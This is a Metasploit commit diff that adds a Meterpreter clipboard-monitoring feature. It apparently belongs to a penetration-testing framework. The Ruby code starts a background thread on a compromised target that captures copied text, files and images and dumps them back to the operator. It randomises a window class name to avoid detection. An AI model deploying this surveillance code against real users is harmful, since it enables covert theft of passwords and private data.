Land #2930 - clipboard monitor for meterpreter
commit
3a95a169e1
Binary file not shown.
Binary file not shown.
|
@ -19,11 +19,11 @@ class Clipboard
|
||||||
@client = client
|
@client = client
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
# Get the target clipboard data in whichever format we can
|
# Get the target clipboard data in whichever format we can
|
||||||
# (if it's supported).
|
# (if it's supported).
|
||||||
|
#
|
||||||
def get_data(download = false)
|
def get_data(download = false)
|
||||||
results = []
|
|
||||||
|
|
||||||
request = Packet.create_request('extapi_clipboard_get_data')
|
request = Packet.create_request('extapi_clipboard_get_data')
|
||||||
|
|
||||||
if download
|
if download
|
||||||
|
@ -32,45 +32,12 @@ class Clipboard
|
||||||
|
|
||||||
response = client.send_request(request)
|
response = client.send_request(request)
|
||||||
|
|
||||||
text = response.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT)
|
return parse_dump(response)
|
||||||
|
|
||||||
if text
|
|
||||||
results << {
|
|
||||||
:type => :text,
|
|
||||||
:data => text
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
files = []
|
|
||||||
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) { |f|
|
|
||||||
files << {
|
|
||||||
:name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
|
|
||||||
:size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
if files.length > 0
|
|
||||||
results << {
|
|
||||||
:type => :files,
|
|
||||||
:data => files
|
|
||||||
}
|
|
||||||
end
|
|
||||||
|
|
||||||
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
|
|
||||||
if jpg
|
|
||||||
results << {
|
|
||||||
:type => :jpg,
|
|
||||||
:width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
|
|
||||||
:height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
|
|
||||||
:data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
|
|
||||||
}
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
return results
|
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
# Set the target clipboard data to a text value
|
# Set the target clipboard data to a text value
|
||||||
|
#
|
||||||
def set_text(text)
|
def set_text(text)
|
||||||
request = Packet.create_request('extapi_clipboard_set_data')
|
request = Packet.create_request('extapi_clipboard_set_data')
|
||||||
|
|
||||||
|
@ -81,8 +48,120 @@ class Clipboard
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Start the clipboard monitor if it hasn't been started.
|
||||||
|
#
|
||||||
|
def monitor_start(opts)
|
||||||
|
request = Packet.create_request('extapi_clipboard_monitor_start')
|
||||||
|
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls])
|
||||||
|
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, opts[:cap_img])
|
||||||
|
return client.send_request(request)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Pause the clipboard monitor if it's running.
|
||||||
|
#
|
||||||
|
def monitor_pause
|
||||||
|
request = Packet.create_request('extapi_clipboard_monitor_pause')
|
||||||
|
return client.send_request(request)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Dump the conents of the clipboard monitor to the local machine.
|
||||||
|
#
|
||||||
|
def monitor_dump(opts)
|
||||||
|
pull_img = opts[:include_images]
|
||||||
|
purge = opts[:purge]
|
||||||
|
purge = true if purge.nil?
|
||||||
|
|
||||||
|
request = Packet.create_request('extapi_clipboard_monitor_dump')
|
||||||
|
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
|
||||||
|
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_PURGE, purge)
|
||||||
|
|
||||||
|
response = client.send_request(request)
|
||||||
|
|
||||||
|
return parse_dump(response)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Resume the clipboard monitor if it has been paused.
|
||||||
|
#
|
||||||
|
def monitor_resume
|
||||||
|
request = Packet.create_request('extapi_clipboard_monitor_resume')
|
||||||
|
return client.send_request(request)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Purge the contents of the clipboard capture without downloading.
|
||||||
|
#
|
||||||
|
def monitor_purge
|
||||||
|
request = Packet.create_request('extapi_clipboard_monitor_purge')
|
||||||
|
return client.send_request(request)
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Stop the clipboard monitor and dump optionally it's contents.
|
||||||
|
#
|
||||||
|
def monitor_stop(opts)
|
||||||
|
dump = opts[:dump]
|
||||||
|
pull_img = opts[:include_images]
|
||||||
|
|
||||||
|
request = Packet.create_request('extapi_clipboard_monitor_stop')
|
||||||
|
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_DUMP, dump)
|
||||||
|
request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA, pull_img)
|
||||||
|
|
||||||
|
response = client.send_request(request)
|
||||||
|
unless dump
|
||||||
|
return response
|
||||||
|
end
|
||||||
|
|
||||||
|
return parse_dump(response)
|
||||||
|
end
|
||||||
|
|
||||||
attr_accessor :client
|
attr_accessor :client
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
|
def parse_dump(response)
|
||||||
|
result = {}
|
||||||
|
|
||||||
|
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t|
|
||||||
|
ts = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
|
||||||
|
result[ts] ||= {}
|
||||||
|
|
||||||
|
# fat chance of someone adding two different bits of text to the
|
||||||
|
# clipboard at the same time
|
||||||
|
result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT)
|
||||||
|
end
|
||||||
|
|
||||||
|
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f|
|
||||||
|
ts = f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
|
||||||
|
result[ts] ||= {}
|
||||||
|
result[ts]['Files'] ||= []
|
||||||
|
result[ts]['Files'] << {
|
||||||
|
:name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME),
|
||||||
|
:size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg|
|
||||||
|
if jpg
|
||||||
|
ts = jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP)
|
||||||
|
result[ts] ||= {}
|
||||||
|
|
||||||
|
# same story with images, there's no way more than one can come
|
||||||
|
# through on the same timestamp with differences
|
||||||
|
result[ts]['Image'] = {
|
||||||
|
:width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX),
|
||||||
|
:height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY),
|
||||||
|
:data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA)
|
||||||
|
}
|
||||||
|
end
|
||||||
|
end
|
||||||
|
|
||||||
|
return result
|
||||||
|
end
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
end; end; end; end; end; end
|
end; end; end; end; end; end
|
||||||
|
|
|
@ -30,7 +30,11 @@ TLV_TYPE_EXT_SERVICE_QUERY_DACL = TLV_META_TYPE_STRING | (TLV_TYPE_E
|
||||||
|
|
||||||
TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35)
|
TLV_TYPE_EXT_CLIPBOARD_DOWNLOAD = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 35)
|
||||||
|
|
||||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
|
TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 38)
|
||||||
|
|
||||||
|
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 39)
|
||||||
|
TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 40)
|
||||||
|
|
||||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41)
|
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE = TLV_META_TYPE_GROUP | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 41)
|
||||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42)
|
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 42)
|
||||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43)
|
TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE = TLV_META_TYPE_QWORD | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 43)
|
||||||
|
@ -40,6 +44,11 @@ TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX = TLV_META_TYPE_UINT | (TLV_TYPE_E
|
||||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47)
|
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY = TLV_META_TYPE_UINT | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 47)
|
||||||
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48)
|
TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA = TLV_META_TYPE_RAW | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 48)
|
||||||
|
|
||||||
|
TLV_TYPE_EXT_CLIPBOARD_MON_CAP_IMG_DATA = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 50)
|
||||||
|
TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 51)
|
||||||
|
TLV_TYPE_EXT_CLIPBOARD_MON_DUMP = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 52)
|
||||||
|
TLV_TYPE_EXT_CLIPBOARD_MON_PURGE = TLV_META_TYPE_BOOL | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 53)
|
||||||
|
|
||||||
TLV_TYPE_EXT_ADSI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 55)
|
TLV_TYPE_EXT_ADSI_DOMAIN = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 55)
|
||||||
TLV_TYPE_EXT_ADSI_FILTER = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 56)
|
TLV_TYPE_EXT_ADSI_FILTER = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 56)
|
||||||
TLV_TYPE_EXT_ADSI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 57)
|
TLV_TYPE_EXT_ADSI_FIELD = TLV_META_TYPE_STRING | (TLV_TYPE_EXTENSION_EXTAPI + TLV_EXTENSIONS + 57)
|
||||||
|
|
|
@ -5,7 +5,6 @@ module Rex
|
||||||
module Post
|
module Post
|
||||||
module Meterpreter
|
module Meterpreter
|
||||||
module Ui
|
module Ui
|
||||||
|
|
||||||
###
|
###
|
||||||
#
|
#
|
||||||
# Extended API window management user interface.
|
# Extended API window management user interface.
|
||||||
|
@ -22,8 +21,14 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
||||||
#
|
#
|
||||||
def commands
|
def commands
|
||||||
{
|
{
|
||||||
"clipboard_get_data" => "Read the victim's current clipboard (text, files, images)",
|
"clipboard_get_data" => "Read the target's current clipboard (text, files, images)",
|
||||||
"clipboard_set_text" => "Write text to the victim's clipboard"
|
"clipboard_set_text" => "Write text to the target's clipboard",
|
||||||
|
"clipboard_monitor_start" => "Start the clipboard monitor",
|
||||||
|
"clipboard_monitor_pause" => "Pause the active clipboard monitor",
|
||||||
|
"clipboard_monitor_resume" => "Resume the paused clipboard monitor",
|
||||||
|
"clipboard_monitor_dump" => "Dump all captured clipboard content",
|
||||||
|
"clipboard_monitor_purge" => "Delete all captured cilpboard content without dumping it",
|
||||||
|
"clipboard_monitor_stop" => "Stop the clipboard monitor"
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -39,19 +44,19 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
||||||
#
|
#
|
||||||
@@get_data_opts = Rex::Parser::Arguments.new(
|
@@get_data_opts = Rex::Parser::Arguments.new(
|
||||||
"-h" => [ false, "Help banner" ],
|
"-h" => [ false, "Help banner" ],
|
||||||
"-d" => [ true, "Download non-text content to the specified folder (or current folder)", nil ]
|
"-d" => [ true, "Download non-text content to the specified folder (default: current dir)", nil ]
|
||||||
)
|
)
|
||||||
|
|
||||||
def print_clipboard_get_data_usage
|
def print_clipboard_get_data_usage
|
||||||
print(
|
print(
|
||||||
"\nUsage: clipboard_get_data [-h] [-d]\n\n" +
|
"\nUsage: clipboard_get_data [-h] [-d]\n\n" +
|
||||||
"Attempts to read the data from the victim's clipboard. If the data is in a\n" +
|
"Attempts to read the data from the target's clipboard. If the data is in a\n" +
|
||||||
"supported format, it is read and returned to the user.\n" +
|
"supported format, it is read and returned to the user.\n" +
|
||||||
@@get_data_opts.usage + "\n")
|
@@get_data_opts.usage + "\n")
|
||||||
end
|
end
|
||||||
|
|
||||||
#
|
#
|
||||||
# Get the data from the victim's clipboard
|
# Get the data from the target's clipboard
|
||||||
#
|
#
|
||||||
def cmd_clipboard_get_data(*args)
|
def cmd_clipboard_get_data(*args)
|
||||||
download_content = false
|
download_content = false
|
||||||
|
@ -67,79 +72,14 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
||||||
end
|
end
|
||||||
}
|
}
|
||||||
|
|
||||||
loot_dir = download_path || "."
|
dump = client.extapi.clipboard.get_data(download_content)
|
||||||
if not ::File.directory?( loot_dir )
|
|
||||||
::FileUtils.mkdir_p( loot_dir )
|
|
||||||
end
|
|
||||||
|
|
||||||
# currently we only support text values
|
if dump.length == 0
|
||||||
results = client.extapi.clipboard.get_data(download_content)
|
|
||||||
|
|
||||||
if results.length == 0
|
|
||||||
print_error( "The current Clipboard data format is not supported." )
|
print_error( "The current Clipboard data format is not supported." )
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
results.each { |r|
|
parse_dump(dump, download_content, download_content, download_path)
|
||||||
case r[:type]
|
|
||||||
when :text
|
|
||||||
print_line
|
|
||||||
print_line( "Current Clipboard Text" )
|
|
||||||
print_line( "======================" )
|
|
||||||
print_line
|
|
||||||
print_line( r[:data] )
|
|
||||||
|
|
||||||
when :jpg
|
|
||||||
print_line
|
|
||||||
print_line( "Clipboard Image Dimensions: #{r[:width]}x#{r[:height]}" )
|
|
||||||
|
|
||||||
if download_content
|
|
||||||
file = Rex::Text.rand_text_alpha(8) + ".jpg"
|
|
||||||
path = File.join( loot_dir, file )
|
|
||||||
path = ::File.expand_path( path )
|
|
||||||
::File.open( path, 'wb' ) do |f|
|
|
||||||
f.write r[:data]
|
|
||||||
end
|
|
||||||
print_good( "Clipboard image saved to #{path}" )
|
|
||||||
else
|
|
||||||
print_line( "Re-run with -d to download image." )
|
|
||||||
end
|
|
||||||
|
|
||||||
when :files
|
|
||||||
if download_content
|
|
||||||
loot_dir = ::File.expand_path( loot_dir )
|
|
||||||
print_line
|
|
||||||
print_status( "Downloading Clipboard Files ..." )
|
|
||||||
r[:data].each { |f|
|
|
||||||
download_file( loot_dir, f[:name] )
|
|
||||||
}
|
|
||||||
print_good( "Downloaded #{r[:data].length} file(s)." )
|
|
||||||
print_line
|
|
||||||
else
|
|
||||||
table = Rex::Ui::Text::Table.new(
|
|
||||||
'Header' => 'Current Clipboard Files',
|
|
||||||
'Indent' => 0,
|
|
||||||
'SortIndex' => 0,
|
|
||||||
'Columns' => [
|
|
||||||
'File Path', 'Size (bytes)'
|
|
||||||
]
|
|
||||||
)
|
|
||||||
|
|
||||||
total = 0
|
|
||||||
r[:data].each { |f|
|
|
||||||
table << [f[:name], f[:size]]
|
|
||||||
total += f[:size]
|
|
||||||
}
|
|
||||||
|
|
||||||
print_line
|
|
||||||
print_line(table.to_s)
|
|
||||||
|
|
||||||
print_line( "#{r[:data].length} file(s) totalling #{total} bytes" )
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
print_line
|
|
||||||
}
|
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
|
@ -150,7 +90,7 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
||||||
"-h" => [ false, "Help banner" ]
|
"-h" => [ false, "Help banner" ]
|
||||||
)
|
)
|
||||||
|
|
||||||
def clipboard_set_text_usage
|
def print_clipboard_set_text_usage
|
||||||
print(
|
print(
|
||||||
"\nUsage: clipboard_set_text [-h] <text>\n\n" +
|
"\nUsage: clipboard_set_text [-h] <text>\n\n" +
|
||||||
"Set the target's clipboard to the given text value.\n\n")
|
"Set the target's clipboard to the given text value.\n\n")
|
||||||
|
@ -165,15 +105,270 @@ class Console::CommandDispatcher::Extapi::Clipboard
|
||||||
@@set_text_opts.parse(args) { |opt, idx, val|
|
@@set_text_opts.parse(args) { |opt, idx, val|
|
||||||
case opt
|
case opt
|
||||||
when "-h"
|
when "-h"
|
||||||
clipboard_set_text_usage
|
print_clipboard_set_text_usage
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
}
|
}
|
||||||
|
|
||||||
return client.extapi.clipboard.set_text(args.join(" "))
|
return client.extapi.clipboard.set_text(args.join(" "))
|
||||||
end
|
end
|
||||||
|
|
||||||
protected
|
#
|
||||||
|
# Options for the clipboard_monitor_start command.
|
||||||
|
#
|
||||||
|
@@monitor_start_opts = Rex::Parser::Arguments.new(
|
||||||
|
"-h" => [ false, "Help banner" ],
|
||||||
|
"-i" => [ true, "Capture image content when monitoring (default: true)" ]
|
||||||
|
)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Help for the clipboard_monitor_start command.
|
||||||
|
#
|
||||||
|
def print_clipboard_monitor_start_usage
|
||||||
|
print(
|
||||||
|
"\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" +
|
||||||
|
"Starts a background clipboard monitoring thread. The thread watches\n" +
|
||||||
|
"the clipboard on the target, under the context of the current desktop, and when\n" +
|
||||||
|
"changes are detected the contents of the clipboard are captured. Contents can be\n" +
|
||||||
|
"dumped periodically. Image content can be captured as well (and will be by default)\n" +
|
||||||
|
"however this can consume quite a bit of memory.\n\n" +
|
||||||
|
@@monitor_start_opts.usage + "\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Start the clipboard monitor.
|
||||||
|
#
|
||||||
|
def cmd_clipboard_monitor_start(*args)
|
||||||
|
capture_images = true
|
||||||
|
|
||||||
|
@@monitor_start_opts.parse(args) { |opt, idx, val|
|
||||||
|
case opt
|
||||||
|
when "-i"
|
||||||
|
# default this to true
|
||||||
|
capture_images = val.downcase != 'false'
|
||||||
|
when "-h"
|
||||||
|
print_clipboard_monitor_start_usage
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
client.extapi.clipboard.monitor_start({
|
||||||
|
# random class and window name so that it isn't easy
|
||||||
|
# to track via a script
|
||||||
|
:wincls => Rex::Text.rand_text_alpha(8),
|
||||||
|
:cap_img => capture_images
|
||||||
|
})
|
||||||
|
|
||||||
|
print_good("Clipboard monitor started")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Options for the clipboard_monitor_purge command.
|
||||||
|
#
|
||||||
|
@@monitor_purge_opts = Rex::Parser::Arguments.new(
|
||||||
|
"-h" => [ false, "Help banner" ]
|
||||||
|
)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Help for the clipboard_monitor_purge command.
|
||||||
|
#
|
||||||
|
def print_clipboard_monitor_purge_usage
|
||||||
|
print("\nUsage: clipboard_monitor_purge [-h]\n\n" +
|
||||||
|
"Purge the captured contents from the monitor. This does not stop\n" +
|
||||||
|
"the monitor from running, it just removes captured content.\n\n" +
|
||||||
|
@@monitor_purge_opts.usage + "\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Purge the clipboard monitor captured contents
|
||||||
|
#
|
||||||
|
def cmd_clipboard_monitor_purge(*args)
|
||||||
|
@@monitor_purge_opts.parse(args) { |opt, idx, val|
|
||||||
|
case opt
|
||||||
|
when "-h"
|
||||||
|
print_clipboard_monitor_purge_usage
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
}
|
||||||
|
client.extapi.clipboard.monitor_purge
|
||||||
|
print_good("Captured clipboard contents purged successfully")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Options for the clipboard_monitor_pause command.
|
||||||
|
#
|
||||||
|
@@monitor_pause_opts = Rex::Parser::Arguments.new(
|
||||||
|
"-h" => [ false, "Help banner" ]
|
||||||
|
)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Help for the clipboard_monitor_pause command.
|
||||||
|
#
|
||||||
|
def print_clipboard_monitor_pause_usage
|
||||||
|
print("\nUsage: clipboard_monitor_pause [-h]\n\n" +
|
||||||
|
"Pause the currently running clipboard monitor thread.\n\n" +
|
||||||
|
@@monitor_pause_opts.usage + "\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Pause the clipboard monitor captured contents
|
||||||
|
#
|
||||||
|
def cmd_clipboard_monitor_pause(*args)
|
||||||
|
@@monitor_pause_opts.parse(args) { |opt, idx, val|
|
||||||
|
case opt
|
||||||
|
when "-h"
|
||||||
|
print_clipboard_monitor_pause_usage
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
}
|
||||||
|
client.extapi.clipboard.monitor_pause
|
||||||
|
print_good("Clipboard monitor paused successfully")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Options for the clipboard_monitor_resumse command.
|
||||||
|
#
|
||||||
|
@@monitor_resume_opts = Rex::Parser::Arguments.new(
|
||||||
|
"-h" => [ false, "Help banner" ]
|
||||||
|
)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Help for the clipboard_monitor_resume command.
|
||||||
|
#
|
||||||
|
def print_clipboard_monitor_resume_usage
|
||||||
|
print("\nUsage: clipboard_monitor_resume [-h]\n\n" +
|
||||||
|
"Resume the currently paused clipboard monitor thread.\n\n" +
|
||||||
|
@@monitor_resume_opts.usage + "\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# resume the clipboard monitor captured contents
|
||||||
|
#
|
||||||
|
def cmd_clipboard_monitor_resume(*args)
|
||||||
|
@@monitor_resume_opts.parse(args) { |opt, idx, val|
|
||||||
|
case opt
|
||||||
|
when "-h"
|
||||||
|
print_clipboard_monitor_resume_usage
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
}
|
||||||
|
client.extapi.clipboard.monitor_resume
|
||||||
|
print_good("Clipboard monitor resumed successfully")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Options for the clipboard_monitor_dump command.
|
||||||
|
#
|
||||||
|
@@monitor_dump_opts = Rex::Parser::Arguments.new(
|
||||||
|
"-h" => [ false, "Help banner" ],
|
||||||
|
"-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ],
|
||||||
|
"-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ],
|
||||||
|
"-p" => [ true, "Purge the contents of the monitor once dumped (default: true)" ],
|
||||||
|
"-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ]
|
||||||
|
)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Help for the clipboard_monitor_dump command.
|
||||||
|
#
|
||||||
|
def print_clipboard_monitor_dump_usage
|
||||||
|
print(
|
||||||
|
"\nUsage: clipboard_monitor_dump [-d true|false] [-d downloaddir] [-h]\n\n" +
|
||||||
|
"Dump the capture clipboard contents to the local machine..\n\n" +
|
||||||
|
@@monitor_dump_opts.usage + "\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Dump the clipboard monitor contents to the local machine.
|
||||||
|
#
|
||||||
|
def cmd_clipboard_monitor_dump(*args)
|
||||||
|
purge = true
|
||||||
|
download_images = true
|
||||||
|
download_files = true
|
||||||
|
download_path = nil
|
||||||
|
|
||||||
|
@@monitor_dump_opts.parse(args) { |opt, idx, val|
|
||||||
|
case opt
|
||||||
|
when "-d"
|
||||||
|
download_path = val
|
||||||
|
when "-i"
|
||||||
|
download_images = val.downcase != 'false'
|
||||||
|
when "-f"
|
||||||
|
download_files = val.downcase != 'false'
|
||||||
|
when "-p"
|
||||||
|
purge = val.downcase != 'false'
|
||||||
|
when "-h"
|
||||||
|
print_clipboard_monitor_dump_usage
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
dump = client.extapi.clipboard.monitor_dump({
|
||||||
|
:include_images => download_images,
|
||||||
|
:purge => purge
|
||||||
|
})
|
||||||
|
|
||||||
|
parse_dump(dump, download_images, download_files, download_path)
|
||||||
|
|
||||||
|
print_good("Clipboard monitor dumped")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Options for the clipboard_monitor_stop command.
|
||||||
|
#
|
||||||
|
@@monitor_stop_opts = Rex::Parser::Arguments.new(
|
||||||
|
"-h" => [ false, "Help banner" ],
|
||||||
|
"-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ],
|
||||||
|
"-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ],
|
||||||
|
"-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ],
|
||||||
|
"-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ]
|
||||||
|
)
|
||||||
|
|
||||||
|
#
|
||||||
|
# Help for the clipboard_monitor_stop command.
|
||||||
|
#
|
||||||
|
def print_clipboard_monitor_stop_usage
|
||||||
|
print(
|
||||||
|
"\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" +
|
||||||
|
"Stops a clipboard monitor thread and returns the captured data to the local machine.\n\n" +
|
||||||
|
@@monitor_stop_opts.usage + "\n")
|
||||||
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Stop the clipboard monitor.
|
||||||
|
#
|
||||||
|
def cmd_clipboard_monitor_stop(*args)
|
||||||
|
dump_data = true
|
||||||
|
download_images = true
|
||||||
|
download_files = true
|
||||||
|
download_path = nil
|
||||||
|
|
||||||
|
@@monitor_stop_opts.parse(args) { |opt, idx, val|
|
||||||
|
case opt
|
||||||
|
when "-d"
|
||||||
|
download_path = val
|
||||||
|
when "-x"
|
||||||
|
dump_data = val.downcase != 'false'
|
||||||
|
when "-i"
|
||||||
|
download_images = val.downcase != 'false'
|
||||||
|
when "-f"
|
||||||
|
download_files = val.downcase != 'false'
|
||||||
|
when "-h"
|
||||||
|
print_clipboard_monitor_stop_usage
|
||||||
|
return true
|
||||||
|
end
|
||||||
|
}
|
||||||
|
|
||||||
|
dump = client.extapi.clipboard.monitor_stop({
|
||||||
|
:dump => dump_data,
|
||||||
|
:include_images => download_images
|
||||||
|
})
|
||||||
|
|
||||||
|
parse_dump(dump, download_images, download_files, download_path) if dump_data
|
||||||
|
|
||||||
|
print_good("Clipboard monitor stopped")
|
||||||
|
end
|
||||||
|
|
||||||
|
private
|
||||||
|
|
||||||
def download_file( dest_folder, source )
|
def download_file( dest_folder, source )
|
||||||
stat = client.fs.file.stat( source )
|
